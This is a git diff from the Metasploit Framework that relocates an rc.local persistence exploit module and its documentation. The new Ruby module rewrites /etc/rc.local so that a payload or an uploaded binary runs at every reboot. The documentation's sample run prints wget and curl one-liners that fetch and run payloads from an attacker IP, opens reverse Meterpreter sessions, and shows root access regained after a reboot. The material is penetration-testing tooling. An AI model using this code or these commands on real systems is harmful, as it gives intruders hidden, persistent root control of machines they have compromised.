diff --git a/documentation/modules/exploit/linux/local/rc_local_persistence.md b/documentation/modules/exploit/linux/local/rc_local_persistence.md deleted file mode 100644 index 6f6bfe53d4288..0000000000000 --- a/documentation/modules/exploit/linux/local/rc_local_persistence.md +++ /dev/null @@ -1,46 +0,0 @@ -## rc.local Persistence - -This module patches `/etc/rc.local` in order to launch a payload upon reboot. - -> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case. - - -### Verification - -1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`) -2. `use exploit/linux/local/rc_local_persistence` -3. `set SESSION ` -4. `set PAYLOAD ` -5. `set LHOST ` -6. `exploit` - - -### Sample run - -#### Escalate the session if needed - -``` -msf exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo -msf post(multi/manage/sudo) > set session 3 -session => 3 -msf post(multi/manage/sudo) > run - -[*] SUDO: Attempting to upgrade to UID 0 via sudo -[*] No password available, trying a passwordless sudo. -[+] SUDO: Root shell secured. -[*] Post module execution completed -``` - -#### Persist - -``` -msf post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence -msf exploit(multi/handler) > set payload cmd/unix/reverse_ruby -payload => cmd/unix/reverse_ruby -msf exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41 -LHOST => 192.168.0.41 -msf exploit(linux/local/rc_local_persistence) > run - -[*] Reading /etc/rc.local -[*] Patching /etc/rc.local -``` diff --git a/documentation/modules/exploit/linux/persistence/rc_local.md b/documentation/modules/exploit/linux/persistence/rc_local.md new file mode 100644 index 0000000000000..c2e9d7d63ad82 --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/rc_local.md @@ -0,0 +1,124 @@ +## Vulnerable Application + +This module will edit `/etc/rc.local` in order to persist a payload. +The payload will be executed on the next reboot. + +Verified on Ubuntu 18.04.3 + +### Verification + +1. Exploit a box and get a **root** session +2. `use exploit/linux/persistence/rc_local` +3. `set SESSION ` +4. `set PAYLOAD ` +5. `set LHOST ` +6. `exploit` + +## Options + +### PAYLOAD_NAME + +Name of the payload file if a `cmd` payload is not used. Defaults to a random name + +## Scenarios + +### Ubuntu 18.04.3 + +Initial access vector via web delivery + +``` +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO zLeqpMSF --no-check-certificate http://111.111.1.111:8181/l; chmod +x zLeqpMSF; ./zLeqpMSF& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:48462) at 2025-02-09 06:54:32 -0500 +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/home/ubuntu) > getuid +Server username: root +(Meterpreter 1)(/home/ubuntu) > sysinfo +Computer : ubuntu18desktop.local +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/home/ubuntu) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/rc_local +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set WritableDir /home/ubuntu/ +WritableDir => /home/ubuntu/ +[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > exploit +[*] Command to run on remote host: curl -so ./GvwBrOrMxFD http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./GvwBrOrMxFD;./GvwBrOrMxFD& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. /etc/rc.local is writable +[*] Reading /etc/rc.local +[*] Created /etc/rc.local backup: /root/.msf4/loot/20250209065535_default_222.222.2.222_rc.local_367870.txt +[*] Patching /etc/rc.local +[+] Payload will be triggered at next reboot +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250209.5536/ubuntu18desktop.local_20250209.5536.rc +``` + +Reboot host + +``` +[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/home/ubuntu) > shell +Process 2052 created. +Channel 4 created. +reboot +[*] 222.222.2.222 - Meterpreter session 1 closed. Reason: Died +Terminate channel 4? [y/N] y +[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact --timeout +[msf](Jobs:2 Agents:0) exploit(linux/persistence/rc_local) > +[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 222.222.2.222 (curl/7.58.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:36260) at 2025-02-09 06:56:39 -0500 +[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 2 +[*] Starting interaction with 2... +(Meterpreter 2)(/) > getuid +Server username: root +(Meterpreter 2)(/) > +``` \ No newline at end of file diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/exploits/linux/local/rc_local_persistence.rb deleted file mode 100644 index b66378504f4d4..0000000000000 --- a/modules/exploits/linux/local/rc_local_persistence.rb +++ /dev/null @@ -1,65 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Local - Rank = ExcellentRanking - - include Msf::Post::File - include Msf::Post::Unix - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'rc.local Persistence', - 'Description' => %q{ - This module will edit /etc/rc.local in order to persist a payload. - The payload will be executed on the next reboot. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Eliott Teissonniere' ], - 'Platform' => [ 'unix', 'linux' ], - 'Arch' => ARCH_CMD, - 'Payload' => { - 'BadChars' => "#%\n", - 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic python ruby netcat perl' - } - }, - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true }, - 'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD. - 'Targets' => [ ['Automatic', {}] ], - 'DefaultTarget' => 0, - 'Notes' => { - 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS - } - ) - ) - end - - def exploit - rc_path = '/etc/rc.local' - - unless writable? rc_path - fail_with Failure::BadConfig, "#{rc_path} is not writable" - end - - print_status "Reading #{rc_path}" - - # read /etc/rc.local, but remove `exit 0` - rc_local = read_file(rc_path).gsub(/^exit.*$/, '') - - # add payload and put back `exit 0` - rc_local << "\n#{payload.encoded}\nexit 0\n" - - # write new file - print_status "Patching #{rc_path}" - write_file(rc_path, rc_local) - end -end diff --git a/modules/exploits/linux/persistence/rc_local.rb b/modules/exploits/linux/persistence/rc_local.rb new file mode 100644 index 0000000000000..a1f7b5f53237b --- /dev/null +++ b/modules/exploits/linux/persistence/rc_local.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::EXE # for generate_payload_exe + include Msf::Exploit::Local::Persistence + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/rc_local_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'rc.local Persistence', + 'Description' => %q{ + This module will edit /etc/rc.local in order to persist a payload. + The payload will be executed on the next reboot. + Verified on Ubuntu 18.04.3 + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Eliott Teissonniere' ], + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'Payload' => { + 'BadChars' => '#%\n"' + }, + 'References' => [ + ['ATT&CK', Mitre::Attack::Technique::T1037_004_RC_SCRIPTS] + ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD. + 'Targets' => [ ['Automatic', {}] ], + 'Privileged' => true, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, + 'DefaultTarget' => 0 + ) + ) + register_options([ + OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), + ]) + end + + def check + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') + # a few notes for those who like to read source code. On Ubuntu 18.04.3, when no + # /etc/rc.local file exists, systemctl status rc.local shows inactive (dead). + # When /etc/rc.local exists, systemctl status rc.local shows active (exited). + # so checking the service status isn't necessarily helpful. + if exists?('/etc/rc.local') + return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local') + else + return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/') + end + + CheckCode::Appears('/etc/rc.local is writable') + end + + def install_persistence + print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') + rc_path = '/etc/rc.local' + + print_status "Reading #{rc_path}" + + # read /etc/rc.local, but remove `exit 0` + rc_local = '#!/bin/sh' + if exists? rc_path + rc_local = read_file(rc_path).gsub(/^exit.*$/, '') + backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup') + print_status("Created /etc/rc.local backup: #{backup_profile_path}") + @clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n" + else + @clean_up_rc << "rm #{rc_path}\n" + end + + if payload.arch.first == 'cmd' + # add payload and put back `exit 0` + pload = payload.encoded + pload = "#{pload} &" unless pload.end_with?('&') + rc_local << "\n#{pload}\nexit 0\n" + print_status "Patching #{rc_path}" + else + payload_path = writable_dir + payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/" + payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) + payload_path << payload_name + print_status("Uploading payload file to #{payload_path}") + upload_and_chmodx payload_path, generate_payload_exe + rc_local << "\n#{payload_path} &\nexit 0\n" + @clean_up_rc << "rm #{payload_path}\n" + end + + # write new file + write_file(rc_path, rc_local) + chmod(rc_path, 0o755) + + print_good('Payload will be triggered at next reboot') + end +end